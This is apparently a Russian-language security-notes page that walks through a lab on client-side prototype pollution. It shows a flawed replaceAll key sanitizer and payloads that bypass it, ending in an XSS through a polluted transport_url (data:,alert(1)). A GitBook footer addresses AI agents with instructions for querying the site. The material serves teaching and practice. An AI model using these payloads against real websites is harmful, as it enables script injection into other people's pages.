> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md).

# Загрязнение прототипа на стороне клиента через ошибочную санацию

### Загрязнение прототипа на стороне клиента через некорректную санацию

#### (1) Предыстория и общая идея

Приложение читает настройки URL, а затем превращает их в JavaScript-объект через `deparam(...)`:

* Он строит `config = { params: deparam(...) }`
* Затем оно использует `config.transport_url` для загрузки `<script src="...">`

Чтобы избежать загрязнения прототипа, разработчики добавили `sanitizeKey()` который удаляет следующие подстроки из ключей:/ `constructor`, `__proto__`, `prototype`.

Проблема: эта санация — всего лишь **replaceAll**. Если **разрезать** запрещённое слово на части, после замены оно может **воссоздать**.

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Не удалось сохранить запрос");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

window.addEventListener("load", searchLogger);
```

#### 2) Источник: обход фильтра и загрязнение `Object.prototype`

Фильтр удаляет `__proto__` Если оно присутствует как есть. / Оно воссоздаётся путём вставки `__proto__` **в середину** более длинного ключа, так что после удаления итоговый ключ становится точно `__proto__`.

Полезная нагрузка:

```javascript
?__pro__proto__to__[foo]=bar
```

После санации:

* `__pro__proto__to__` → (удаление `__proto__`) → `__proto__`

То есть это как:

* `?__proto__[foo]=bar` -> глобальное загрязнение прототипа

Проверка в консоли:

```javascript
console.log({}.foo)
```

<figure><img src="/files/b565310e5b70eeb410dd00f1ec4d29becdd357c6" alt="" width="520"><figcaption></figcaption></figure>

#### (4) Финальная эксплуатация: триггер `alert()`

`transport_url` загрязнён `data:` схемой, которая выполняет JS при загрузке скрипта:

```javascript
?__pro__proto__to__[transport_url]=data:,alert(1)
```

<figure><img src="/files/7b8704737f155b98b70b96c38e846ffdc546c6d9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
